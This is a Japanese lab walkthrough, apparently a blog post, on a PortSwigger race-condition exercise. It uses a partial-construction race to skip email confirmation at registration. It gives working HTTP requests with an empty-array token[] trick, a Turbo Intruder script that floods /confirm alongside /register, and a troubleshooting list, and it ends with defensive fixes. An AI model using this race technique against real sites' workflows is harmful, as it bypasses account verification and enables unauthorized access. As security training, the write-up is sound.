Hello there, ('ω')ノ
ねらい
このLABは、ユーザー登録処理の“部分的に構築された状態(partial construction)”に発生するごく短いレースウィンドウを突き、本来必要なメール確認(/confirm)をスキップしてアカウントを確定させるのが目的です。
仕様として@ginandjuice.shop のメールしか登録できない&確認リンクがメールで届くため通常は詰みですが、トークン未初期化(null)相当が一瞬だけ有効になる瞬間を狙い撃ちします。最終的に作成したアカウントでログイン→carlosを削除してクリアします。
攻撃の設計思想(まず考えること)
- 登録 → トークン発行 → DB保存 → 確認リンク到達 → /confirm POSTの中に順序のズレがないかを探る。
- トークンがDB保存される前に/confirmを叩けたら、null(もしくは空値や空配列)が一致扱いになる可能性がある。
- その“未初期化に一致する値”を探りつつ、Turbo Intruderで登録リクエストと確認リクエストを厳密同時に放つ。
入口の特定:確認フローの漏えいを拾う
- 操作:Proxy履歴から/resources/static/users.jsを発見して開く。
- 期待:ここに確認フォーム生成のコードがあり、/confirm へ POST、token はクエリ文字列で渡すことが読み取れる(メールの「確認リンク」から辿る想定のため)。
- 目的:ブラウザを介さずともBurpから/confirm?token=… にPOSTできる根拠を得る。
/confirm のふるまいを観察して“null等価”を推測する
Burp Repeaterで以下を試す(Host は各自のラボIDに合わせる):
POST /confirm?token=1 HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 0
- 結果例:Incorrect token: 1(不一致)
- token パラメータを欠落 → Missing parameter: token
- token=(空文字) → Forbidden(開発側が直近で塞いだ痕跡かも)
ここで発想転換:“空文字は禁止だが、実装によっては空配列ならどうか?” 多くのフレームワークは配列受け取りを token[]= で表現します。試してみる:
POST /confirm?token[]= HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 0
- 結果例:Invalid token: Array → “空配列”として受理され、バリデーションを通過しているサイン。 → もしDB保存前の未初期化=nullを配列→null 変換のような経路で“等価”と誤判定すれば、レース次第で成功の可能性がある。
タイミング差を測る(ベンチマーク)
RepeaterでPOST /register(新規ユーザー作成)を用意。
- 同じユーザー名で再登録するとレスポンスが別分岐に入るため、都度ユーザー名は変える。
- 別タブで先ほどの/confirmを用意。
- 2つをGrouped requestsに入れて、連続・並列と色々送る。
- 観察:多くの場合、/confirm の応答の方が常に早い。 → つまり/register のDB保存が完了する前に /confirm が評価されている可能性が高い。 → ここで/confirm を少し遅らせるのではなく、/register を発射した“直後”に /confirm を洪水的に当ててレース帯を踏むのが現実的。
PoCを成立させる:Turbo Intruderで“同時発射”
事前準備
- Burp Suite 2023.9+、Turbo Intruder最新版をBAppから導入。
- 登録リクエスト(POST /register)をProxy→右クリック→Extensions > Turbo Intruder > Send to turbo intruder。
- エディタで、送信内容に含まれるusernameが %s(ペイロード位置)になっていることを確認。
- email は毎回固有の XXX@ginandjuice.shop を指定(既存回避)。
- password は固定値にして覚えておく(後でログインに使う)。
- ドロップダウンからexamples/race-single-packet-attack.pyを選択。
スクリプトの骨子(概念)
- confirmationReq 変数に POST /confirm?token[]= の“固定”リクエストを用意(Cookie/Hostを自分の環境で更新)。
- for attempt in range(N): で試行を重ねる(例:20回)。
各試行で
- 新しいusername=User{attempt}で/registerを1回だけqueue。
- 続けて/confirmを大量(例:50回)queue。
- engine.openGate(currentAttempt) でまとめて解放=“同時に”送る。
- ハンドラでレスポンスを収集し、成功の200&特定文字列を探す。
参考コード(テンプレを最小改変)
def queueRequests(target, wordlists): engine = RequestEngine( endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2 ) # ★自身のラボID&セッションに合わせて更新 confirmationReq = '''POST /confirm?token[]= HTTP/2 Host: YOUR-LAB-ID.web-security-academy.net Cookie: phpsessionid=YOUR-SESSION-TOKEN Content-Length: 0 ''' # 20回試行(必要に応じて増減) for attempt in range(20): gate = str(attempt) username = 'User' + gate # 登録リクエストを1件だけキュー(%s は TurboIntruder が username に置換) engine.queue(target.req, username, gate=gate) # 確認リクエストを多重キュー(レース帯を踏むため密度を上げる) for i in range(50): engine.queue(confirmationReq, gate=gate) # まとめて解放(同時到達を狙う) engine.openGate(gate) def handleResponse(req, interesting): table.add(req)
ポイント:
- concurrentConnections=1 で同一コネクションに乗せつつ、ゲート開放で同時送信の圧を高めます。
- /confirm のCookie(phpsessionid)は有効なものに更新。セッションが切れていると無効応答になります。
- HTTP/2(Engine.BURP2)でマルチプレックスされるため、送出タイミングがタイトに揃えやすい。
- /register側のボディに載せるpasswordは固定値にしておく(後でログインに使う)。
- emailはUser{n}@ginandjuice.shopのようにユニーク化。
成功判定と後処理
- 攻撃実行後、結果テーブルをLengthでソート。
- 成功すると、/confirmの一部が200 OKかつ本文に “Account registration for user UserX successful.” と出ます(UserX を控える)。
- ブラウザでUserX / (固定のpassword)でログイン。
- 管理パネルからcarlos を削除してクリア。
うまくいかない時のチェックリスト
200が出ない / 失敗ばかり
- phpsessionidが期限切れでは? 確認リクエストのCookieを最新に更新。
- /register の username / email が重複して別分岐に入っていないか。毎試行ユニークに。
- 試行回数(attempts)・確認数(bursts)を増やす(例:30×80)。
- Engine.BURP2とHTTP/2ヘッダ整合(Host必須、Content-Length: 0 など)を確認。
Forbidden / Missing parameter が出る
- token= になっているか再確認(空文字の token= は禁止される)。
- URLの改行・空白やヘッダのミスを除去。
タイミングが合わない
- Grouped requestsでラフに傾向を掴み、Turbo IntruderのopenGateタイミングを増やして厚みを持たせる。
- concurrentConnectionsを1〜2で試行。インフラ次第で差が出る。
- 送出の直前にブラウザ側で余計な通信を止める(不要タブを閉じる)と乱れにくい。
なぜ成立するのか(根本理解)
- Partial construction:登録処理の内部では、ユーザー作成(pending)→トークン生成→DB保存の間に論理的な一瞬の空白(未初期化領域)がある。
- /confirmがtoken を“即”検証すると、未初期化(null)≒空配列等が等価と判定される欠陥が生じうる。
- レース:/register がDB保存に到達する前に、/confirm が検証終了してしまう。
- 結末:メール確認をスキップして登録が完了する。
実務目線の防御策
- トランザクション境界の明確化:トークン生成〜保存〜状態遷移は同一トランザクションで完了させ、未初期化状態を外部公開しない。
- 厳密なスキーマ制約:token は NOT NULL、空配列/空文字は不可、型の厳格化。
- 入力正規化:token= のような配列表現を拒否し、単一文字列のみに限定。
- 確認API側の順序制御:pending状態の存在確認→token照合の順にし、状態が確定するまで確認を保留/拒否。
- レート制限・ジャム対策:同一セッション/アカウント/ソースIPからの高頻度の/confirm連打を遮断。
まとめ(再現性の高い思考パターン)
- フロント資産(users.js等)から内部フローを復元
- /confirm の境界挙動を単体で観察(token=、欠落、配列など)
- /register ↔ /confirm の時間差をベンチマーク
- Turbo Intruderで同時解放(openGate)を使いレース帯を踏む
- 成功レスポンスからユーザー名を拾い、固定パスワードでログイン → carlos 削除
この“未初期化の瞬間を狙って並行要求をぶつける”手法は、登録・購入・予約・権限昇格など多様なワークフローで再現します。状態遷移の粒度と入力の正規化を常に意識して脆弱性を見抜きましょう。
Best regards, (^^ゞ